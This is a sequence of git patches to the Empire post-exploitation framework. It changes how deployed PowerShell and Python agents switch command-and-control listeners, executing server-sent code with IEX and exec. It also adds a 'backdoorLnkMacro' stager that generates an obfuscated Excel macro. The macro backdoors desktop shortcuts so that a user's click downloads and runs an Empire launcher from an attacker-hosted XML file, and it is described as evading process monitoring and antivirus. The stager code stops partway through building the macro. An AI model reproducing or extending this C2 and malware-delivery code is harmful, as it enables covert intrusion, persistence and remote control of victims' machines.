From 4f6985cf70768fa8cd4dc7b2f02f728362e998e0 Mon Sep 17 00:00:00 2001 From: xorrior Date: Mon, 16 Oct 2017 16:28:31 -0400 Subject: [PATCH 001/136] Added listener hot swap code to agent. Updated all listeners accordingly --- data/agent/agent.ps1 | 26 ++++++++++++++++++++------ lib/common/agents.py | 8 ++++---- lib/common/empire.py | 24 ++++++++++++++++++++++++ lib/listeners/dbx.py | 7 ++++--- lib/listeners/http.py | 6 +++--- lib/listeners/http_com.py | 4 ++-- lib/listeners/http_foreign.py | 4 ++-- lib/listeners/http_hop.py | 4 ++-- lib/listeners/http_mapi.py | 4 ++-- lib/listeners/template.py | 4 ++-- 10 files changed, 65 insertions(+), 26 deletions(-) diff --git a/data/agent/agent.ps1 b/data/agent/agent.ps1 index afb163dac..ce65bcec8 100644 --- a/data/agent/agent.ps1 +++ b/data/agent/agent.ps1 @@ -911,7 +911,7 @@ function Get-FilePart { $msg = "[!] Agent "+$script:SessionID+" exiting" # this is the only time we send a message out of the normal process, # because we're exited immediately after - Send-Message -Packets $(Encode-Packet -type $type -data $msg -ResultID $ResultID) + (& $SendMessage -Packets $(Encode-Packet -type $type -data $msg -ResultID $ResultID)) exit } # shell command @@ -1079,6 +1079,20 @@ function Get-FilePart { } } + elseif($type -eq 130) { + #Dynamically update agent comms + + try { + IEX $data + + Encode-Packet -type $type -data ("$($ControlServers[0])") -ResultID $ResultID + } + catch { + + Encode-Packet -type 0 -data ("Unable to update agent comm methods: $_") -ResultID $ResultID + } + } + else{ Encode-Packet -type 0 -data "invalid type: $type" -ResultID $ResultID } @@ -1133,7 +1147,7 @@ function Get-FilePart { } # send all the result packets back to the C2 server - Send-Message -Packets $ResultPackets + (& $SendMessage -Packets $ResultPackets) } @@ -1167,7 +1181,7 @@ function Get-FilePart { # send job results back if there are any if ($Packets) { - Send-Message -Packets $Packets + (& $SendMessage -Packets $Packets) } # send an exit status message and exit @@ -1177,7 +1191,7 @@ function Get-FilePart { else { $msg = "[!] Agent "+$script:SessionID+" exiting: Lost limit reached" } - Send-Message -Packets $(Encode-Packet -type 2 -data $msg) + (& $SendMessage -Packets $(Encode-Packet -type 2 -data $msg)) exit } @@ -1265,11 +1279,11 @@ function Get-FilePart { } if ($JobResults) { - Send-Message -Packets $JobResults + ((& $SendMessage -Packets $JobResults)) } # get the next task from the server - $TaskData = Get-Task + $TaskData = (& $GetTask) if ($TaskData) { $script:MissedCheckins = 0 # did we get not get the default response diff --git a/lib/common/agents.py b/lib/common/agents.py index 6b60b19d7..94c1fe237 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -1467,10 +1467,10 @@ def handle_agent_response(self, sessionID, encData): conn = self.get_db_connection() cur = conn.cursor() data = cur.execute("SELECT data FROM taskings WHERE agent=? AND id=?", [sessionID,taskID]).fetchone()[0] - cur.close() - theSender="Agents" - if data.startswith("function Get-Keystrokes"): - theSender += "PsKeyLogger" + cur.close() + theSender="Agents" + if data.startswith("function Get-Keystrokes"): + theSender += "PsKeyLogger" if results: # signal that this agent returned results dispatcher.send("[*] Agent %s returned results." % (sessionID), sender=theSender) diff --git a/lib/common/empire.py b/lib/common/empire.py index 059c82eb0..e8763703e 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -1931,6 +1931,26 @@ def do_updateprofile(self, line): else: print helpers.color("[*] Profile format is \"TaskURI1,TaskURI2,...|UserAgent|OptionalHeader2:Val1|OptionalHeader2:Val2...\"") + def do_updatecomms(self, line): + "Dynamically update the agent comms to another listener" + + # generate comms for the listener selected + if line: + listenerID = line.strip() + if not self.mainMenu.listeners.is_listener_valid(listenerID): + print helpers.color("[!] Please enter a valid listenername.") + else: + activeListener = self.mainMenu.listeners.activeListeners[listenerID] + listenerOptions = activeListener['options'] + listenerComms = self.mainMenu.listeners.loadedListeners[activeListener['moduleName']].generate_comms(listenerOptions, language="powershell") + + self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SWITCH_LISTENER", listenerComms) + + msg = "Tasked agent to update comms to %s listener" % listenerID + self.mainMenu.agents.save_agent_log(self.sessionID, msg) + + else: + print helpers.color("[!] Please enter a valid listenername.") def do_psinject(self, line): "Inject a launcher into a remote process. Ex. psinject " @@ -2187,6 +2207,10 @@ def do_creds(self, line): "Display/return credentials from the database." self.mainMenu.do_creds(line) + def complete_updatecomms(self, text, line, begidx, endidx): + "Tab-complete updatecomms option values" + + return self.complete_psinject(text, line, begidx, endidx) def complete_psinject(self, text, line, begidx, endidx): "Tab-complete psinject option values." diff --git a/lib/listeners/dbx.py b/lib/listeners/dbx.py index 1f91e3da4..10f2d1f93 100755 --- a/lib/listeners/dbx.py +++ b/lib/listeners/dbx.py @@ -530,10 +530,11 @@ def generate_comms(self, listenerOptions, language=None): updateServers = """ $Script:APIToken = "%s"; + $Script:ControlServers = @('dropbox') """ % (apiToken) getTask = """ - function script:Get-Task { + $script:GetTask = { try { # build the web request object $wc = New-Object System.Net.WebClient @@ -571,7 +572,7 @@ def generate_comms(self, listenerOptions, language=None): """ % (taskingsFolder) sendMessage = """ - function script:Send-Message { + $script:SendMessage = { param($Packets) if($Packets) { @@ -632,7 +633,7 @@ def generate_comms(self, listenerOptions, language=None): } } """ % (resultsFolder) - + return updateServers + getTask + sendMessage elif language.lower() == 'python': diff --git a/lib/listeners/http.py b/lib/listeners/http.py index c9bb5556b..d67ac8657 100644 --- a/lib/listeners/http.py +++ b/lib/listeners/http.py @@ -637,7 +637,7 @@ def generate_comms(self, listenerOptions, language=None): updateServers += "\n[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" getTask = """ - function script:Get-Task { + $script:GetTask = { try { if ($Script:ControlServers[$Script:ServerIndex].StartsWith("http")) { @@ -677,7 +677,7 @@ def generate_comms(self, listenerOptions, language=None): """ sendMessage = """ - function script:Send-Message { + $script:SendMessage = { param($Packets) if($Packets) { @@ -713,7 +713,7 @@ def generate_comms(self, listenerOptions, language=None): } } """ - + return updateServers + getTask + sendMessage elif language.lower() == 'python': diff --git a/lib/listeners/http_com.py b/lib/listeners/http_com.py index fe47b6e04..1e8f7c838 100644 --- a/lib/listeners/http_com.py +++ b/lib/listeners/http_com.py @@ -402,7 +402,7 @@ def generate_comms(self, listenerOptions, language=None): """ % (listenerOptions['Host']['Value']) getTask = """ - function script:Get-Task { + $script:GetTask = { try { if ($Script:ControlServers[$Script:ServerIndex].StartsWith("http")) { @@ -435,7 +435,7 @@ def generate_comms(self, listenerOptions, language=None): """ sendMessage = """ - function script:Send-Message { + $script:SendMessage { param($Packets) if($Packets) { diff --git a/lib/listeners/http_foreign.py b/lib/listeners/http_foreign.py index 1228b5580..a03f7b24a 100644 --- a/lib/listeners/http_foreign.py +++ b/lib/listeners/http_foreign.py @@ -388,7 +388,7 @@ def generate_comms(self, listenerOptions, language=None): """ % (listenerOptions['Host']['Value']) getTask = """ - function script:Get-Task { + $script:GetTask = { try { if ($Script:ControlServers[$Script:ServerIndex].StartsWith("http")) { @@ -424,7 +424,7 @@ def generate_comms(self, listenerOptions, language=None): """ sendMessage = """ - function script:Send-Message { + $script:SendMessage = { param($Packets) if($Packets) { diff --git a/lib/listeners/http_hop.py b/lib/listeners/http_hop.py index cd44cdab2..fbc606e41 100644 --- a/lib/listeners/http_hop.py +++ b/lib/listeners/http_hop.py @@ -356,7 +356,7 @@ def generate_comms(self, listenerOptions, language=None): """ % (listenerOptions['Host']['Value']) getTask = """ - function script:Get-Task { + $script:GetTask = { try { if ($Script:ControlServers[$Script:ServerIndex].StartsWith("http")) { @@ -392,7 +392,7 @@ def generate_comms(self, listenerOptions, language=None): """ sendMessage = """ - function script:Send-Message { + $script:SendMessage = { param($Packets) if($Packets) { diff --git a/lib/listeners/http_mapi.py b/lib/listeners/http_mapi.py index 1bedc03a2..5bb07ef4a 100644 --- a/lib/listeners/http_mapi.py +++ b/lib/listeners/http_mapi.py @@ -385,7 +385,7 @@ def generate_comms(self, listenerOptions, language=None): """ % (listenerOptions['Host']['Value']) getTask = """ - function script:Get-Task { + $script:GetTask = { try { # meta 'TASKING_REQUEST' : 4 $RoutingPacket = New-RoutingPacket -EncData $Null -Meta 4; @@ -429,7 +429,7 @@ def generate_comms(self, listenerOptions, language=None): """ sendMessage = """ - function script:Send-Message { + $script:SendMessage = { param($Packets) if($Packets) { diff --git a/lib/listeners/template.py b/lib/listeners/template.py index 705bea080..05360d233 100644 --- a/lib/listeners/template.py +++ b/lib/listeners/template.py @@ -236,14 +236,14 @@ def generate_comms(self, listenerOptions, language=None): """ % (listenerOptions['Host']['Value']) getTask = """ - function script:Get-Task { + $script:GetTask = { } """ sendMessage = """ - function script:Send-Message { + $script:SendMessage = { param($Packets) if($Packets) { From c9576f302a0f9e298ad3ca430b4e39c903e1a4f1 Mon Sep 17 00:00:00 2001 From: xorrior Date: Wed, 18 Oct 2017 00:53:01 -0400 Subject: [PATCH 002/136] Fixed result issues when updating agent comms. Python hot swap still not working --- data/agent/agent.ps1 | 12 ++++++++++-- data/agent/agent.py | 18 ++++++++++++++++++ lib/common/agents.py | 11 ++++++++++- lib/common/empire.py | 29 ++++++++++++++++++++++++++++- lib/common/packets.py | 3 ++- lib/listeners/dbx.py | 2 +- lib/listeners/http.py | 2 +- 7 files changed, 70 insertions(+), 7 deletions(-) diff --git a/data/agent/agent.ps1 b/data/agent/agent.ps1 index ce65bcec8..a8c28cc97 100644 --- a/data/agent/agent.ps1 +++ b/data/agent/agent.ps1 @@ -100,7 +100,8 @@ function Invoke-Empire { $script:ResultIDs = @{} $script:WorkingHours = $WorkingHours $script:DefaultResponse = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DefaultResponse)) - $Script:Proxy = $ProxySettings + $script:Proxy = $ProxySettings + $script:CurrentListenerName = "" # the currently active server $Script:ServerIndex = 0 @@ -1085,7 +1086,7 @@ function Get-FilePart { try { IEX $data - Encode-Packet -type $type -data ("$($ControlServers[0])") -ResultID $ResultID + Encode-Packet -type $type -data ($CurrentListenerName) -ResultID $ResultID } catch { @@ -1093,6 +1094,13 @@ function Get-FilePart { } } + elseif($type -eq 131) { + # Update the listener name variable + $script:CurrentListenerName = $data + + Encode-Packet -type $type -data ("Updated the CurrentListenerName to: $CurrentListenerName") -ResultID $ResultID + } + else{ Encode-Packet -type 0 -data "invalid type: $type" -ResultID $ResultID } diff --git a/data/agent/agent.py b/data/agent/agent.py index c35cf4f26..d03580fe2 100644 --- a/data/agent/agent.py +++ b/data/agent/agent.py @@ -40,6 +40,7 @@ lostLimit = 60 missedCheckins = 0 jobMessageBuffer = '' +currentListenerName = " " # killDate form -> "MO/DAY/YEAR" killDate = 'REPLACE_KILLDATE' @@ -463,6 +464,23 @@ def process_packet(packetType, data, resultID): send_message(build_response_packet(124, "Successfully remove repo: %s" % (repoName), resultID)) except Exception as e: send_message(build_response_packet(124, "Unable to remove repo: %s, %s" % (repoName, str(e)), resultID)) + + elif packetType == 130: + # Dynamically update the listener for this agent + try: + code_obj = compile(data, '', 'exec') + gl = dict(locals(), **globals()) + exec(code_obj, gl, gl) + send_message(build_response_packet(130, currentListenerName, resultID)) + except Exception as e: + send_message(build_response_packet(0, "Unable to update agent comms: %s" % e, resultID)) + + elif packetType == 131: + # Update the current listener name + global currentListenerName + currentListenerName = data + + send_message(build_response_packet(131, "Updated currentListenerName to: %s" % data, resultID)) else: return build_response_packet(0, "invalid tasking ID: %s" %(taskingID), resultID) diff --git a/lib/common/agents.py b/lib/common/agents.py index 94c1fe237..2f9542f1e 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -1779,7 +1779,16 @@ def process_agent_packet(self, sessionID, responseName, taskID, data): elif responseName == "TASK_SWITCH_LISTENER": # update the agent listener self.update_agent_listener_db(sessionID, data) - dispatcher.send("[+] Listener for '%s' updated to '%s'" % (sessionID, data), sender='Agents') + self.update_agent_results_db(sessionID, data) + # update the agent log + self.save_agent_log(sessionID, data) + dispatcher.send("[+] Updated comms for %s to %s" % (sessionID, data), sender="Agents") + + elif responseName == "TASK_UPDATE_LISTENERNAME": + # The agent listener name variable has been updated agent side + self.update_agent_results_db(sessionID, data) + # update the agent log + self.save_agent_log(sessionID, data) else: print helpers.color("[!] Unknown response %s from %s" % (responseName, sessionID)) diff --git a/lib/common/empire.py b/lib/common/empire.py index e8763703e..cfd18eefd 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -1944,8 +1944,9 @@ def do_updatecomms(self, line): listenerOptions = activeListener['options'] listenerComms = self.mainMenu.listeners.loadedListeners[activeListener['moduleName']].generate_comms(listenerOptions, language="powershell") + self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_UPDATE_LISTENERNAME", listenerOptions['Name']['Value']) self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SWITCH_LISTENER", listenerComms) - + msg = "Tasked agent to update comms to %s listener" % listenerID self.mainMenu.agents.save_agent_log(self.sessionID, msg) @@ -2593,6 +2594,25 @@ def do_shell(self, line): msg = "Tasked agent to run shell command: %s" % (line) self.mainMenu.agents.save_agent_log(self.sessionID, msg) + def do_updatecomms(self, line): + "Task an agent to hot swap the comms channel" + + if line: + listenerID = line.strip() + if not self.mainMenu.listeners.is_listener_valid(listenerID): + print helpers.color("[!] Please enter a valid listenername.") + else: + activeListener = self.mainMenu.listeners.activeListeners[listenerID] + listenerOptions = activeListener['options'] + listenerComms = self.mainMenu.listeners.loadedListeners[activeListener['moduleName']].generate_comms(listenerOptions, language="python") + self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_UPDATE_LISTENERNAME", listenerOptions['Name']['Value']) + self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SWITCH_LISTENER", listenerComms) + + msg = "Tasked agent to update comms to %s listener" % listenerID + self.mainMenu.agents.save_agent_log(self.sessionID, msg) + + else: + print helpers.color("[!] Please enter a valid listenername.") def do_python(self, line): "Task an agent to run a Python command." @@ -2803,6 +2823,13 @@ def do_creds(self, line): "Display/return credentials from the database." self.mainMenu.do_creds(line) + def complete_updatecomms(self, text, line, begidx, endidx): + "Tab-complete a listener" + + mline = line.partition(' ')[2] + offs = len(mline) - len(text) + return [s[offs:] for s in self.mainMenu.listeners.get_listener_names() if s.startswith(mline)] + def complete_loadpymodule(self, text, line, begidx, endidx): "Tab-complete a zip file path" return helpers.complete_path(text, line) diff --git a/lib/common/packets.py b/lib/common/packets.py index b73ad3650..e47325aff 100644 --- a/lib/common/packets.py +++ b/lib/common/packets.py @@ -112,7 +112,8 @@ "TASK_VIEW_MODULE" : 123, "TASK_REMOVE_MODULE" : 124, - "TASK_SWITCH_LISTENER" : 130 + "TASK_SWITCH_LISTENER" : 130, + "TASK_UPDATE_LISTENERNAME" : 131 } # build a lookup table for IDS diff --git a/lib/listeners/dbx.py b/lib/listeners/dbx.py index 10f2d1f93..cb652befd 100755 --- a/lib/listeners/dbx.py +++ b/lib/listeners/dbx.py @@ -530,7 +530,6 @@ def generate_comms(self, listenerOptions, language=None): updateServers = """ $Script:APIToken = "%s"; - $Script:ControlServers = @('dropbox') """ % (apiToken) getTask = """ @@ -716,6 +715,7 @@ def post_message(uri, data, headers): return ('', '') """ + sendMessage = sendMessage.replace('REPLACE_TASKSING_FOLDER', taskingsFolder) sendMessage = sendMessage.replace('REPLACE_RESULTS_FOLDER', resultsFolder) sendMessage = sendMessage.replace('REPLACE_API_TOKEN', apiToken) diff --git a/lib/listeners/http.py b/lib/listeners/http.py index d67ac8657..268c6d2ba 100644 --- a/lib/listeners/http.py +++ b/lib/listeners/http.py @@ -766,7 +766,7 @@ def send_message(packets=None): return (URLerror.reason, '') return ('', '') -""" +""" return updateServers + sendMessage else: From 407df37c60b77a8466b8225a1c2eac547368c00e Mon Sep 17 00:00:00 2001 From: xorrior Date: Wed, 25 Oct 2017 00:23:44 -0400 Subject: [PATCH 003/136] Removed Python updatecomms command --- data/agent/agent.py | 21 +++------------------ lib/common/empire.py | 22 ++-------------------- lib/listeners/http.py | 8 +++++--- 3 files changed, 10 insertions(+), 41 deletions(-) diff --git a/data/agent/agent.py b/data/agent/agent.py index d03580fe2..f34d6756e 100644 --- a/data/agent/agent.py +++ b/data/agent/agent.py @@ -16,6 +16,7 @@ import zipfile import io import imp +import marshal from os.path import expanduser from StringIO import StringIO from threading import Thread @@ -40,7 +41,8 @@ lostLimit = 60 missedCheckins = 0 jobMessageBuffer = '' -currentListenerName = " " +currentListenerName = "" +sendMsgFuncCode = "" # killDate form -> "MO/DAY/YEAR" killDate = 'REPLACE_KILLDATE' @@ -464,23 +466,6 @@ def process_packet(packetType, data, resultID): send_message(build_response_packet(124, "Successfully remove repo: %s" % (repoName), resultID)) except Exception as e: send_message(build_response_packet(124, "Unable to remove repo: %s, %s" % (repoName, str(e)), resultID)) - - elif packetType == 130: - # Dynamically update the listener for this agent - try: - code_obj = compile(data, '', 'exec') - gl = dict(locals(), **globals()) - exec(code_obj, gl, gl) - send_message(build_response_packet(130, currentListenerName, resultID)) - except Exception as e: - send_message(build_response_packet(0, "Unable to update agent comms: %s" % e, resultID)) - - elif packetType == 131: - # Update the current listener name - global currentListenerName - currentListenerName = data - - send_message(build_response_packet(131, "Updated currentListenerName to: %s" % data, resultID)) else: return build_response_packet(0, "invalid tasking ID: %s" %(taskingID), resultID) diff --git a/lib/common/empire.py b/lib/common/empire.py index cfd18eefd..e0a356ee6 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -21,6 +21,8 @@ import time import fnmatch import shlex +import marshal +import base64 # Empire imports import helpers @@ -2594,26 +2596,6 @@ def do_shell(self, line): msg = "Tasked agent to run shell command: %s" % (line) self.mainMenu.agents.save_agent_log(self.sessionID, msg) - def do_updatecomms(self, line): - "Task an agent to hot swap the comms channel" - - if line: - listenerID = line.strip() - if not self.mainMenu.listeners.is_listener_valid(listenerID): - print helpers.color("[!] Please enter a valid listenername.") - else: - activeListener = self.mainMenu.listeners.activeListeners[listenerID] - listenerOptions = activeListener['options'] - listenerComms = self.mainMenu.listeners.loadedListeners[activeListener['moduleName']].generate_comms(listenerOptions, language="python") - self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_UPDATE_LISTENERNAME", listenerOptions['Name']['Value']) - self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SWITCH_LISTENER", listenerComms) - - msg = "Tasked agent to update comms to %s listener" % listenerID - self.mainMenu.agents.save_agent_log(self.sessionID, msg) - - else: - print helpers.color("[!] Please enter a valid listenername.") - def do_python(self, line): "Task an agent to run a Python command." diff --git a/lib/listeners/http.py b/lib/listeners/http.py index 268c6d2ba..d0e70f015 100644 --- a/lib/listeners/http.py +++ b/lib/listeners/http.py @@ -801,13 +801,15 @@ def start_server(self, listenerOptions): self.app = app - @app.route('/') - def send_stager(stagerURI): - if stagerURI: + @app.route('/download/') + def send_stager(stager): + if stager: launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=False, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) return launcher else: pass + + @app.before_request def check_ip(): """ From e169f7f7c70b6bd9690f9a9445540880da5916c3 Mon Sep 17 00:00:00 2001 From: xorrior Date: Fri, 3 Nov 2017 14:31:13 -0400 Subject: [PATCH 004/136] Updated logic to restrict listener types for updatecomms command --- lib/common/empire.py | 26 +++++++++++--------------- lib/listeners/http_com.py | 2 +- 2 files changed, 12 insertions(+), 16 deletions(-) diff --git a/lib/common/empire.py b/lib/common/empire.py index 36fa3f74d..d0cf66d6e 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -1982,14 +1982,17 @@ def do_updatecomms(self, line): print helpers.color("[!] Please enter a valid listenername.") else: activeListener = self.mainMenu.listeners.activeListeners[listenerID] - listenerOptions = activeListener['options'] - listenerComms = self.mainMenu.listeners.loadedListeners[activeListener['moduleName']].generate_comms(listenerOptions, language="powershell") - - self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_UPDATE_LISTENERNAME", listenerOptions['Name']['Value']) - self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SWITCH_LISTENER", listenerComms) - - msg = "Tasked agent to update comms to %s listener" % listenerID - self.mainMenu.agents.save_agent_log(self.sessionID, msg) + if activeListener['moduleName'] != 'meterpreter' or activeListener['moduleName'] != 'http_mapi': + listenerOptions = activeListener['options'] + listenerComms = self.mainMenu.listeners.loadedListeners[activeListener['moduleName']].generate_comms(listenerOptions, language="powershell") + + self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_UPDATE_LISTENERNAME", listenerOptions['Name']['Value']) + self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SWITCH_LISTENER", listenerComms) + + msg = "Tasked agent to update comms to %s listener" % listenerID + self.mainMenu.agents.save_agent_log(self.sessionID, msg) + else: + print helpers.color("[!] Ineligible listener for updatecomms command: %s" % activeListener['moduleName']) else: print helpers.color("[!] Please enter a valid listenername.") @@ -2802,13 +2805,6 @@ def do_creds(self, line): "Display/return credentials from the database." self.mainMenu.do_creds(line) - def complete_updatecomms(self, text, line, begidx, endidx): - "Tab-complete a listener" - - mline = line.partition(' ')[2] - offs = len(mline) - len(text) - return [s[offs:] for s in self.mainMenu.listeners.get_listener_names() if s.startswith(mline)] - def complete_loadpymodule(self, text, line, begidx, endidx): "Tab-complete a zip file path" return helpers.complete_path(text, line) diff --git a/lib/listeners/http_com.py b/lib/listeners/http_com.py index 4ee432298..0ddca0bb2 100644 --- a/lib/listeners/http_com.py +++ b/lib/listeners/http_com.py @@ -455,7 +455,7 @@ def generate_comms(self, listenerOptions, language=None): # choose a random valid URI for checkin $taskURI = $script:TaskURIs | Get-Random $ServerURI = $Script:ControlServers[$Script:ServerIndex] + $taskURI - + $Script:IE.navigate2($ServerURI, 14, 0, $bytes, $Null) while($Script:IE.busy -eq $true){Start-Sleep -Milliseconds 100} } From 2eca3362c92943a7ddcc67e8f676c53a4f7eb215 Mon Sep 17 00:00:00 2001 From: G0ldenGun Date: Wed, 6 Dec 2017 21:23:46 -0600 Subject: [PATCH 005/136] added backdoorLnkMacro Stager added backdoorLnkMacro Stager --- lib/stagers/windows/backdoorLnkMacro.py | 260 ++++++++++++++++++++++++ setup/install.sh | 4 + 2 files changed, 264 insertions(+) create mode 100644 lib/stagers/windows/backdoorLnkMacro.py diff --git a/lib/stagers/windows/backdoorLnkMacro.py b/lib/stagers/windows/backdoorLnkMacro.py new file mode 100644 index 000000000..795e9dc90 --- /dev/null +++ b/lib/stagers/windows/backdoorLnkMacro.py @@ -0,0 +1,260 @@ +import random, string, xlrd, datetime +from xlutils.copy import copy +from xlwt import Workbook, Utils +from lib.common import helpers +from Crypto.Cipher import AES + +class Stager: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'BackdoorLnkMacro', + + 'Author': ['@G0ldenGunSec'], + + 'Description': ('Generates a macro that backdoors .lnk files on the users desktop, backdoored lnk files in turn attempt to download & execute an empire launcher when the user clicks on them. Usage: Three files will be spawned from this, an xls document (either new or containing existing contents) that data will be placed into, a macro that should be placed in the spawned xls document, and an xml that should be placed on a web server accessible by the remote system (as defined during stager generation). By default this xml is written to /var/www/html, which is the webroot on debian-based systems such as kali.'), + + 'Comments': ['Two-stage macro attack vector used for bypassing tools that perform monitor parent processes and flag / block process launches from unexpected programs, such as office. The initial run of the macro is vbscript and spawns no child processes, instead it backdoors targeted shortcuts on the users desktop to do a direct run of powershell next time they are clicked. The second step occurs when the user clicks on the shortcut, the powershell download stub that runs will attempt to download & execute an empire launcher from an xml file hosted on a pre-defined webserver, which will in turn grant a full shell. Credits to @harmJ0y and @enigma0x3 for designing the macro stager that this was originally based on, @subTee for research pertaining to the xml.xmldocument cradle, and @curi0usJack for info on using cell embeds to evade AV.'] + } + #random name our xml will default to in stager options + xmlVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(5,9))) + + # any options needed by the stager, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Listener' : { + 'Description' : 'Listener to generate stager for.', + 'Required' : True, + 'Value' : '' + }, + 'Language' : { + 'Description' : 'Language of the launcher to generate.', + 'Required' : True, + 'Value' : 'powershell' + }, + 'TargetEXEs' : { + 'Description' : 'Will backdoor .lnk files pointing to selected executables (do not include .exe extension), enter a comma seperated list of target exe names - ex. iexplore,firefox,chrome', + 'Required' : True, + 'Value' : 'iexplore,firefox,chrome' + }, + 'XmlUrl' : { + 'Description' : 'remotely-accessible URL to access the XML containing launcher code. Please try and keep this URL short, as it must fit in the given 1024 chars for args along with all other logic - default options typically allow for 100-200 chars of extra space, depending on targeted exe', + 'Required' : True, + 'Value' : "http://" + helpers.lhost() + "/"+xmlVar+".xml" + }, + 'XlsOutFile' : { + 'Description' : 'XLS (incompatible with xlsx/xlsm) file to output stager payload to. If document does not exist / cannot be found a new file will be created', + 'Required' : True, + 'Value' : '/tmp/default.xls' + }, + 'OutFile' : { + 'Description' : 'File to output macro to, otherwise displayed on the screen.', + 'Required' : False, + 'Value' : '/tmp/macro' + }, + 'XmlOutFile' : { + 'Description' : 'Local path + file to output xml to.', + 'Required' : True, + 'Value' : '/var/www/html/'+xmlVar+'.xml' + }, + 'KillDate' : { + 'Description' : 'Date after which the initial powershell stub will no longer attempt to download and execute code, set this for the end of your campaign / engagement. Format mm/dd/yyyy', + 'Required' : True, + 'Value' : datetime.datetime.now().strftime("%m/%d/%Y") + }, + 'UserAgent' : { + 'Description' : 'User-agent string to use for the staging request (default, none, or other) (2nd stage).', + 'Required' : False, + 'Value' : 'default' + }, + 'Proxy' : { + 'Description' : 'Proxy to use for request (default, none, or other) (2nd stage).', + 'Required' : False, + 'Value' : 'default' + }, + 'StagerRetries' : { + 'Description' : 'Times for the stager to retry connecting (2nd stage).', + 'Required' : False, + 'Value' : '0' + }, + 'ProxyCreds' : { + 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other) (2nd stage).', + 'Required' : False, + 'Value' : 'default' + } + + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + #function to convert row + col coords into excel cells (ex. 30,40 -> AE40) + @staticmethod + def coordsToCell(row,col): + coords = "" + if((col) // 26 > 0): + coords = coords + chr(((col)//26)+64) + if((col + 1) % 26 > 0): + coords = coords + chr(((col + 1) % 26)+64) + else: + coords = coords + 'Z' + coords = coords + str(row+1) + return coords + + def generate(self): + # extract all of our options + language = self.options['Language']['Value'] + listenerName = self.options['Listener']['Value'] + userAgent = self.options['UserAgent']['Value'] + proxy = self.options['Proxy']['Value'] + proxyCreds = self.options['ProxyCreds']['Value'] + stagerRetries = self.options['StagerRetries']['Value'] + targetEXE = self.options['TargetEXEs']['Value'] + xlsOut = self.options['XlsOutFile']['Value'] + XmlPath = self.options['XmlUrl']['Value'] + XmlOut = self.options['XmlOutFile']['Value'] + #catching common ways date is incorrectly entered + killDate = self.options['KillDate']['Value'].replace('\\','/').replace(' ','').split('/') + if(int(killDate[2]) < 100): + killDate[2] = int(killDate[2]) + 2000 + targetEXE = targetEXE.split(',') + targetEXE = filter(None,targetEXE) + + #set vars to random alphabetical / alphanumeric values + shellVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6,9))) + lnkVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6,9))) + fsoVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6,9))) + folderVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6,9))) + fileVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6,9))) + encKey = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase + string.digits + string.punctuation, random.randint(16,16))) + #avoiding potential escape characters in our decryption key for the second stage payload + for ch in ["\"","'","`"]: + if ch in encKey: + encKey = encKey.replace(ch,random.choice(string.ascii_lowercase)) + encIV = random.randint(1,240) + + # generate the launcher + launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=False, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) + launcher = launcher.replace("\"","'") + + if launcher == "": + print helpers.color("[!] Error in launcher command generation.") + return "" + else: + try: + reader = xlrd.open_workbook(xlsOut) + workBook = copy(reader) + activeSheet = workBook.get_sheet(0) + except (IOError, OSError): + workBook = Workbook() + activeSheet = workBook.add_sheet('Sheet1') + + #sets initial coords for writing data to + inputRow = random.randint(50,70) + inputCol = random.randint(40,60) + + #build out the macro - first take all strings that would normally go into the macro and place them into random cells, which we then reference in our macro + macro = "Sub Auto_Close()\n" + + activeSheet.write(inputRow,inputCol,helpers.randomize_capitalization("Wscript.shell")) + macro += "Set " + shellVar + " = CreateObject(activeSheet.Range(\""+self.coordsToCell(inputRow,inputCol)+"\").value)\n" + inputCol = inputCol + random.randint(1,4) + + activeSheet.write(inputRow,inputCol,helpers.randomize_capitalization("Scripting.FileSystemObject")) + macro += "Set "+ fsoVar + " = CreateObject(activeSheet.Range(\""+self.coordsToCell(inputRow,inputCol)+"\").value)\n" + inputCol = inputCol + random.randint(1,4) + + activeSheet.write(inputRow,inputCol,helpers.randomize_capitalization("desktop")) + macro += "Set " + folderVar + " = " + fsoVar + ".GetFolder(" + shellVar + ".SpecialFolders(activeSheet.Range(\""+self.coordsToCell(inputRow,inputCol)+"\").value))\n" + macro += "For Each " + fileVar + " In " + folderVar + ".Files\n" + + macro += "If(InStr(Lcase(" + fileVar + "), \".lnk\")) Then\n" + macro += "Set " + lnkVar + " = " + shellVar + ".CreateShortcut(" + shellVar + 